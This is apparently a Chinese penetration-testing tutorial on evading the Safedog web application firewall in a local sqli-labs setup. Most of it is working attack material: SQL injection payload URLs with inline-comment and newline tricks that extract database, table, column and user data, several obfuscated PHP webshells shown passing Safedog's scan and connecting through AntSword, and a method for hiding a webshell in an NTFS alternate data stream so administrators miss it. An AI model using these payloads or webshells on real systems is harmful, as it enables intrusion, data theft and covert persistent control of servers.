WAF绕过

WAF绕过

准备工作

下载安全狗并安装

注意:phpstudy需要选择系统服务,然后点击应用

1659510545534

安装完成之后重启一下phpstudy

web测试

1659511551946

1659576952603

在传参中加了and 1=1直接被安全狗所拦截

WAF

简介

WAF是一个缩写,他的全名叫做Web应用防护系统(Web Application Firewall),是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

在互联网快速发展的今天,网站安全问题屡见不鲜,于是乎WAF类产品开始走红。

WAF有硬件类型的也有软件类型的,但是其实在我看来,从绕过WAF机制上来说,区别不大。我们一般渗透测试都会遇到软WAF,因为硬件WAF价格有点昂贵,正常企业不会购买,所以基本上是GOV站点或者国网、运营商等国企才会大规模装配。

常见的软WAF:安全狗、云锁、悬镜、护卫神、云盾

今天我们就以安全狗v3.0-20140109版本为例,别觉得这本版本老,绕过的思路都是一样的只不过组合方式更加复杂了,需要同学去动脑筋。

如果大家成功绕过最新版的安全狗千万注意不要在公共场合讲18年及其之后的,否则就是一纸传票。因为漏洞管理办法对此有规定了。

bypass

Bypass他就是绕过的意思,我们渗透测试人员通过特殊语句的构建进行渗透测试,然后达到绕过WAF的手法

WAF检测机制

WAF检测机制其实很简单,核心就是正则匹配,虽然说还有字符串强行匹配,还有什么语义解析,但是实际上还是正则居多。

常见绕WAF手法

记住一句话,安全和客户体验都是需要平衡的,特别是对于WAF而言,你想想,用了WAF之后,然后网页动不动就拦截,比如我是用户,然后因为我用户名叫and然后我就被拉黑了,因为我不小心输了个’页面就出问题,这个当然不可以,所以WAF一般都是通用的,并不是单独定制的,既然是通用的,那么他在拦截上会比较谨慎,所以WAF的正则一般是搭配式的。

常见手法:

  • 大小写绕过 (很老的WAF才有用)
  • 替换绕过 (很老的WAF才有用)【和上传文件那个pphphp一样】
  • 特殊字符绕过 (%0a换行)
  • 编码绕过 (比如会多次解码的东西,例如我们DOM XSS绕狗那个)
  • 等价替换 (利用其它函数替代)[union #%0aselect 拦截] [union all #%0aselect 不拦截]
  • 容器特性(例如Apace的Hpp,或者是IIS的%分割)
  • 白名单(管理员权限或者是127.0.0.1本地访问不拦截)
  • 缓冲区 (数据太多了,超出了WAF检测的范围)

完整的sql注入绕过

确认是否存在注入以及是字符型还是数字型

我们既然知道WAF通过正则匹配,那么我们的第一个反应就是,替换函数对不对

例如:id=1 and 1=1

WAF对and 进行了拦截,那么我们是不是得尝试找到替换and的东西,那么运算符就能帮上我们,例如:&

1659584354068

虽然没有被拦截,但是很明显的这里并不正确。这是因为&符号在URL中是有特殊含义的,所以我们需要对其进行URL编码后再使用

1659584485263

输入的时候发现如果只写 and 是不会被拦截的,那么我们想办法改一改1=1,可以试试-1=-1

1659577948051

1659577974152

1659578017265

发现输入-1=-1就成功的绕过了安全狗

甚至例如直接传参,使用加减符号,乘除符号运算,或者是字符串传参直接用16进制说不定也有可能绕过这个傻狗

1659578824996

直接2-1输出结果与1的结果是一样的,说明也是存在注入的

获取字段数

1659584883774

1659584855247

这里没有拦截,确实这个语句没什么危害,所以我们获取到字段数为3

获取回显点

1659585039034

常用语句被拦截了,我们开始构造

内联注释

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/*!...*/中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。/!50001/表示数据库版本>=5.00.01时中间的语句才能被执行

1659587557705

发现我们的内敛注释也被拦截了,那么我们是不是修改数据库的版本,找到漏网之鱼(版本既可以执行,又没有被拦截)

BURP爆破

爆破版本

1659588259548

1659588354632

1659588399917

1659589712098

发现很多的漏网之鱼

1659589834364

使用44440成功绕过安全狗

获取库名

1659591567685

获取表名被拦截了

特殊字符绕过 (%0a换行)

我们知道正常的sql语句中注释后面的内容是不会进行执行的,所以我们可以在– qwe后面再加一个注释,但是这个是使用/**/来进行注释的,在这段注释中间我们可以使用%0a来进行换行

http://192.168.239.254/sqli-labs/Less-2/?id=1.1 union/*!44444select 1,2,%23%0adatabase()*/
#在内联注释中写入查询语句select 1,2,%23%0adatabase()
#将查询库名的语句使用%0a换行,在换行前面加上一个#号(%23)表示注释后面的内容,这样来绕过安全狗,但是实际上我们还有一个查询的内容在下一行

1659593008155

特殊字符绕过 (空格)

除了上面的换行,我们还可以使用特殊的字符将我们的空格替换掉这样我们的语句是unionXselect 1,2,database()其中X就是空格

那么空格要怎样替换呢

使用六位数字,开头数字为6或者7,然后加几位字母就可以了,这个具体的大家可以BURP试一下,我这里直接使用777777abc
http://192.168.239.254/sqli-labs/Less-2/?id=1.1%20union/*!777777777777abc*/select%201,2,database/*!44444()*/
#/*!777777777777abc*/:表示空格
#database/*!44444()*/:因为直接写database()会被拦截,所以我们可以将database进行内联注释,也可以尝试将括号进行内联注释,发现直接内联注释database还是被拦截了,注释括号成功执行

1659596461459

获取表名

http://192.168.239.254/sqli-labs/Less-2/?id=1.1%20union/*!777777777777abc*/select%201,2,(select table_name from information_schema.tables where table_schema='security' limit 0,1)#

1659596826112

直接查询很明显的被拦截了

接下来就是一个慢慢构建的过程,先对整个子查询语句进行内联注释,如果不行再对关键字进行内联注释,如果不行还可以使用特殊字符来换行,替换空格。当场试到一下语句的时候成功绕过

http://192.168.239.254/sqli-labs/Less-2/?id=1.1 union/*!777777777777abc*/select 1,2, (select table_name /*!44444from*/ information_schema.tables where table_schema='security' limit 0,1)#

1659597431894

获取字段名

http://192.168.239.254/sqli-labs/Less-2/?id=1.1 union/*!777777777777abc*/select 1,2, (select column_name /*!44444from*/ information_schema.columns where table_name='users' and table_schema='security' limit 1,1)#

1659598394386

直接访问很明显的会被拦截因为我们这里用了and

开始构造,这个就比较简单了,和之前一样直接将and进行替换,然后再进行URL编码;还可以试试直接将and内联注释

http://192.168.239.254/sqli-labs/Less-2/?id=1.1 union/*!777777777777abc*/select 1,2, (select column_name /*!44444from*/ information_schema.columns where table_name='users'  /*!44444and*/ table_schema='security' limit 1,1)#

1659598311064

1659599756979

发现两种方式都可以

获取数据

http://192.168.239.254/sqli-labs/Less-2/?id=1.1 union/*!777777777777abc*/select 1,2, (select username /*!44444from*/users limit 1,1)#

1659661825715

盲注

除了联合 查询我们还可以试试盲注,毕竟这个是最无赖的注入方式

不过可能会发现sleep函数无法正常使用这个时候就需要使用反引号(“)

http://192.168.239.254/sqli-labs/Less-2/?id=1%20and%20`sleep`(5)

http://192.168.239.254/sqli-labs/Less-2/?id=1%20and%20if(length(database/*!()*/)%3E10,sleep(5),1)

这个具体怎么做大家感兴趣可以自己去研究一下

webshell绕过

此时假设我们通过文件上传,上传了一个含有一句话木马的文件到了服务器上,那么我们如何保证我们的webshell文件不会被服务器上的安全狗给拦截过滤呢?

最简单的一句话木马

1659668313190

web访问被拦截

1659668327863

服务器上安全狗扫描也能直接扫描出来

1659668386342

分析命令

eval函数

删除eval函数中的内容,看看是不是eval函数被过滤了

1659668631199

1659668663990

发现很明显并没有被拦截,说明单独的eval函数是可以被使用的

变量

在eval函数中写入一个变量,看看是否会被拦截

1659668790183

1659668812232

发现很明显并没有被拦截,说明eval函数中是可以使用变量的
但是,我们知道$_REQUEST不是一个简单的变量,而是一个超全局变量是一个数组,那么我们有理由怀疑是因为调用超全局变量而被拦截的

绕过思路

既然普通的变量可以被使用,是不是只要不使用这个中括号就可以了呢?是不是可以使用别的函数来替换eval呢?

end函数

end函数的意义就是输出数组中的当前元素和最后一个元素的值,然后因为我的传参就一个。

<?php 
eval(end($_REQUEST));
?>

1659670446648

安全狗扫描没问题

然后本地web测试

1659670478718

成功绕过安全狗
注意:这个虽然能够在web上执行,但是因为没有密码,所以说通过菜刀蚁剑这些连接的时候可能会有问题

常量定义

通过定义一个常量,常量的值为超全局变量REQUEST的值,然后让eval执行常量是否可以绕过呢?

代码如下:

<?php 
define("a","$_REQUEST['a']");       #定义常量a,a的值为$_REQUEST[a]
eval(a);                        #等价于eval($_REQUEST[a])
?>

安全狗扫描

1659677913785

没有扫描到风险

web访问

1659677546050

蚁剑连接

1659677591708

1659677564329

成功连接

函数定义

之前我们通过定义常量,成功绕过,那么我们 可不可以定义一个函数,这个函数的功能就是写入什么就输出什么,来将我们的$_REQUEST['a']的$_REQUEST部分与['a']这两部分分开来呢?

代码如下:

<?php
function a($a){                 #定义函数a
return $a;}                     #返回输入的值
eval(a($_REQUEST)['a']);        #a($_REQUEST)==>$_REQUEST,==>eval($_REQUEST['a'])
?>

安全狗检查

1659679105749

没有发现到风险

web访问

1659679138491

蚁剑连接

1659679173170

成功连接

类定义

既然可以定义常量,定义函数,我类表示不服,我也要试试

代码如下:

<?php 
class User
{
  public $name = '';
  function __destruct(){        #类的析构函数,允许在销毁一个类之前执行的一些操作或完成一些功能
    eval("$this->name");        #执行eval($_REQUEST[1])
  }
}

$user = new User;               #创建一个新的User类的事件user
$user->name = ''.$_REQUEST[1];  #对事件user中的name进行赋值
?>

安全狗扫描

1659683693654

web访问

1659683583171

蚁剑连接

1659683631518

成功连接

字符串拼接

我直接使用eval和assert等函数会进行拦截,那么是否可以将完整的函数分为几个部分然后拼接起来呢?

代码如下:

<?php 
    $a='ass';  
    $b='ert';
    $funcName=$a.$b;        #$funcName=assert
    $x='funcName';
    $$x($_REQUEST['a']);    #$x=funcName,$funcName=assert==>assert($_REQUEST['a'])
?>

安全狗扫描

1659678282353

没有风险

web访问

1659678345799

蚁剑连接

1659678392975

成功连接

多方式传参免杀

代码如下:

<?php
$COOKIE = $_COOKIE;                     #将超全局变量cookie的值赋给数组cookie
foreach($COOKIE as $key => $value){     #将数组的值进行键值分离,所有的键赋值给key
    if($key=='assert'){                 #当键的值为assert是执行以下操作
        $key($_REQUEST[1]);             #assert($_REQUEST[1])
    }
}
?>

安全狗扫描

1659686601001

没有检测到风险

web访问

1659685075046

蚁剑连接

添加URL一样的,但是这里需要设置cookie,选择请求信息,然后进行设置即可

1659686162687

1659686193347

1659686314647

成功连接

骚操作

代码如下:

<?php
$a=get_defined_functions();
$a['internal'][841]($_REQUEST['a']);
?>

这个代码一眼看上去一脸懵逼,所以我们逐条分析

get_defined_functions( )函数

作用是返回所有已定义函数的数组,我们可以查看一下。

<?php 
$a = get_defined_functions();
var_dump ($a);
?>

1659922410604

可以看出查询的结果是一个二元数组,第一个array(2),表示数组中有两个元素。第一个元素是internal,然后因为["internal"]=> array(1386) 知道这个元素是一个数组,数组中有1386个元素

那么如何来使用二维数组呢?

很简单我们先指定get_defined_functions( )中两个元素的一个,我们这里使用internal,然后再指定数组internal中的元素就可以了,所以现在就可以理解这个841是干嘛的了,841就是用来指定assert函数的

1659922665377

所以最终代码执行的其实就是assert($_REQUEST['a'])

安全狗扫描

1659923054723

没有问题完全扫描不出来

web访问

1659923096805

菜刀连接

1659923334548

状态码200ok但是就是连不上

蚁剑连接

1659923318126

成功连接
温馨提示:
有些时候你在web界面猜测没有问题,但是菜刀怎么都连不上就一定要尝试换个工具,我在这上面吃过大亏大家切记!切记!

终极手法

<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','test'),'select * from info'))['info']); 
?>
#mysqli_fetch_assoc:从结果集中取得一行作为关联数组
#mysqli_query:执行针对数据库的查询
#mysqli_connect:打开一个到 MySQL 服务器的新的连接(服务器地址,用户名,密码,数据库名)


连接一个数据库,然后进行查询,将查询的结果的一行作为管理数组,那么我可以在本地数据库上设置一个库使得其查询结果为一句话木马eval($_REQUEST[1])
数据库准备
数据库名为test,表名为info,字段名为info,字段值为eval($_REQUEST[1]);

1659935360632

web访问

1659935291645

如果现实中使用此方式可以在网上找一些虚拟云服务器有公网ip可以进行连接

保护webshell

当我们成功上传了webshell,同时也获取了服务器的控制权,但是如果真正的管理员来查看目录看到有异常文件,将我们的webshell文件删除了岂不是前功尽弃了吗?所以我们需要对其进行隐藏保护

ntfs文件流

这个我们在文件上传的时候讲过,只不过当时只是讲了如何通过文件流的方式来绕过黑白名单。

这里首先我们先制作一个用于生成隐藏文件的php文件,然后在创建一个文件包含的php文件,因为我们制作的被隐藏的webshell文件的文件名是比较特殊的,我们有时候可能无法直接访问,所以需要创建一个文件包含文件

生成一句话木马的php文件
#echo.php
<?php 
fputs(fopen('/:123.php','w'),'<?php define("a","$_REQUEST[1]");eval(a);?>');
?>

web访问echo.php生成ntfs文件流文件

1659929050811

Microsoft Windows [版本 6.1.7600]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\phpStudy\PHPTutorial\WWW\WAF>notepad /:123.php

1659929102597

成功创建了:123.php文件
文件包含的php文件

用来包含:123.php

<?php include('/:123.php')?> 
访问文件包含的php文件

1659929347811

留下评论